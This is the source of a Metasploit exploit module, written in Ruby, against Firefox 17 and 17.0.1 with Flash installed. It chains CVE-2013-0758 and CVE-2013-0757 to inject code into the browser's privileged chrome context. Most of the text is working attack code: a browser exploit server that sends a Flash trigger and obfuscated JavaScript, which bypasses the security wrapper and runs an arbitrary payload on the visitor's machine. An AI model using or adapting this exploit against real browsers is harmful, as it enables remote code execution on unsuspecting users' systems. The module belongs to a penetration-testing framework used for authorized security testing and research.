## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::EXE # include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation # autopwn_info({ # :ua_name => HttpClients::FF, # :ua_minver => "17.0", # :ua_maxver => "17.0.1", # :javascript => true, # :rank => NormalRanking # }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 17 and 17.0.1, provided the user has installed Flash. No memory corruption is used. First, a Flash object is cloned into the anonymous content of the SVG "use" element in the (CVE-2013-0758). From there, the Flash object can navigate a child frame to a URL in the chrome:// scheme. Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper around the child frame's window reference and inject code into the chrome:// context. Once we have injection into the chrome execution context, we can write the payload to disk, chmod it (if posix), and then execute. Note: Flash is used here to trigger the exploit but any Firefox plugin with script access should be able to trigger it. }, 'License' => MSF_LICENSE, 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'Author' => [ 'Marius Mlynski', # discovery & bug report 'joev', # metasploit module 'sinn3r' # metasploit fu ], 'References' => [ ['CVE', '2013-0758'], # navigate a frame to a chrome:// URL ['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome:// ['OSVDB', '89019'], # maps to CVE 2013-0757 ['OSVDB', '89020'], # maps to CVE 2013-0758 ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906'] ], 'DisclosureDate' => '2013-01-08', 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => /17\..*/, :flash => /[\d.]+/ } )) register_options( [ OptString.new('CONTENT', [ false, "Content to display inside the HTML .", '' ] ), OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false]) ], Auxiliary::Timed) end def on_request_exploit(cli, request, info) if request.uri =~ /\.swf$/ # send Flash .swf for navigating the frame to chrome:// print_status("Sending .swf trigger.") send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' }) else # send initial HTML page print_status("Target selected: #{target.name}") print_status("Sending #{self.name}") send_response_html(cli, generate_html(cli, target)) end end # @return [String] the contents of the .swf file used to trigger the exploit def flash_trigger swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf") @flash_trigger ||= File.read(swf_path) end # @return [String] containing javascript that will alert a debug string # if the DEBUG is set to true def js_debug(str, quote="'") if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end end # @return [String] HTML that is sent in the first response to the client def generate_html(cli, target) vars = { :symbol_id => 'a', :random_domain => 'safe', :payload => run_payload, # defined in FirefoxPrivilegeEscalation mixin :payload_var => 'c', :payload_key => 'k', :payload_obj_var => 'payload_obj', :interval_var => 'itvl', :access_string => 'access', :frame_ref => 'frames[0]', :frame_name => 'n', :loader_path => "#{get_module_uri}.swf", :content => self.datastore['CONTENT'] || '' } script = js_obfuscate %Q| var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})}; var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}']; function $() { document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/"; } function _() { return '#{vars[:frame_name]}'; } var #{vars[:interval_var]} = setInterval(function(){ try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] } catch(e){ clearInterval(#{vars[:interval_var]}); var p = Object.getPrototypeOf(#{vars[:frame_ref]}); var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}}; Object.prototype.__lookupSetter__("__proto__").call(p, o); p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1); } }, 100); document.querySelector('object').data = "#{vars[:loader_path]}"; document.querySelector('use').setAttributeNS( "http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}" ); | %Q| #{vars[:content]} | end end